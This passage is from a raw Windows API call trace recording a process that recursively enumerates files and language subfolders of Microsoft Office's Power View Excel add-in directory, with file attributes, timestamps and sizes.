nFileSizeLow=0x73878, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONCHART.DLL", cAlternateFileName="VISUAL~2.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x51688, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONCHARTCOMMON.DLL", cAlternateFileName="VISUAL~4.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf280, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONCOMMON.DLL", cAlternateFileName="VISUAL~3.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1bce2f5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1bce2f5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x291680, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONCONTROL.DLL", cAlternateFileName="VISUAL~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3085a99, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3085a99, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea8c0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONDIRECTX.DLL", cAlternateFileName="VIA2F6~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x613fd44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x613fd44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd3c60, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONENGINE.DLL", cAlternateFileName="VI323F~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x30070, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="VISUALIZATIONGRAPHICS.DLL", cAlternateFileName="VIF07A~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="WPFEXTENSIONS.DLL", cAlternateFileName="WPFEXT~1.DLL")) returned 1 [0091.270] FindNextFileW (in: hFindFile=0x3b8b448, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x305f84a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x305f84a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36c7dee, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15670, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="WPFEXTENSIONS.DLL", cAlternateFileName="WPFEXT~1.DLL")) returned 0 [0091.270] FindClose (in: hFindFile=0x3b8b448 | out: hFindFile=0x3b8b448) returned 1 [0091.271] GetProcessHeap () returned 0x11a0000 [0091.272] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0091.272] FindNextFileW (in: hFindFile=0x3b8b688, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0091.272] GetProcessHeap () returned 0x11a0000 [0091.272] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0091.272] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0091.277] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="..", cAlternateFileName="")) returned 1 [0091.280] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc38b8, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.280] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="ar", cAlternateFileName="")) returned 1 [0091.280] GetProcessHeap () returned 0x11a0000 [0091.280] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.280] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ar\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc3840, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbda21cf, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x78b299, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x78b299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x78b299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc47ce76, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4d10, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50ee1, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.ar.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.283] FindNextFileW (in: hFindFile=0x3b8b648, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133cde53, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x50ee1, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.ar.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.284] FindClose (in: hFindFile=0x3b8b648 | out: hFindFile=0x3b8b648) returned 1 [0091.285] GetProcessHeap () returned 0x11a0000 [0091.285] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.285] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="bg", cAlternateFileName="")) returned 1 [0091.285] GetProcessHeap () returned 0x11a0000 [0091.285] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.285] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\bg\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b708 [0091.287] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.287] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e40, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.287] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbdc8437, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbdc8437, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18040, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.288] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf44c8b33, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44c8b33, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.288] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8040, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.288] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.bg.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.288] FindNextFileW (in: hFindFile=0x3b8b708, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133a7bf5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x51eb9, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.bg.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.288] FindClose (in: hFindFile=0x3b8b708 | out: hFindFile=0x3b8b708) returned 1 [0091.289] GetProcessHeap () returned 0x11a0000 [0091.289] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0091.289] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="ca", cAlternateFileName="")) returned 1 [0091.289] GetProcessHeap () returned 0x11a0000 [0091.289] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.289] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\ca\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0091.293] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="..", cAlternateFileName="")) returned 1 [0091.293] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a30a43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a30a43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc4e58, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="AdHocReportingExcelClient.dll", cAlternateFileName="ADHOCR~1.DLL")) returned 1 [0091.293] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf618b1a4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf618b1a4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13070, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.PowerBI.Diagnostics.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0091.294] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13078, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0091.294] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42d8c51, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4920, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="Microsoft.ReportingServices.AdomdDataExtension.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0091.294] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.ca.xap", cAlternateFileName="POWERV~1.XAP")) returned 1 [0091.294] FindNextFileW (in: hFindFile=0x3b8b748, lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133f40a9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f13c, dwReserved0=0x0, dwReserved1=0x1f0, cFileName="PowerViewRes.ca.xap", cAlternateFileName="POWERV~1.XAP")) returned 0 [0091.294] FindClose (in: hFindFile=0x3b8b748 | out: hFindFile=0x3b8b748) returned 1 [0091.295] GetProcessHeap () returned 0x11a0000 [0091.295] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0091.295] FindNextFileW (in: hFindFile=0x3b8b6c8, lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName="cs", cAlternateFileName="")) returned 1 [0091.295] GetProcessHeap () returned 0x11a0000 [0091.295] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0091.295] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\cs\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, 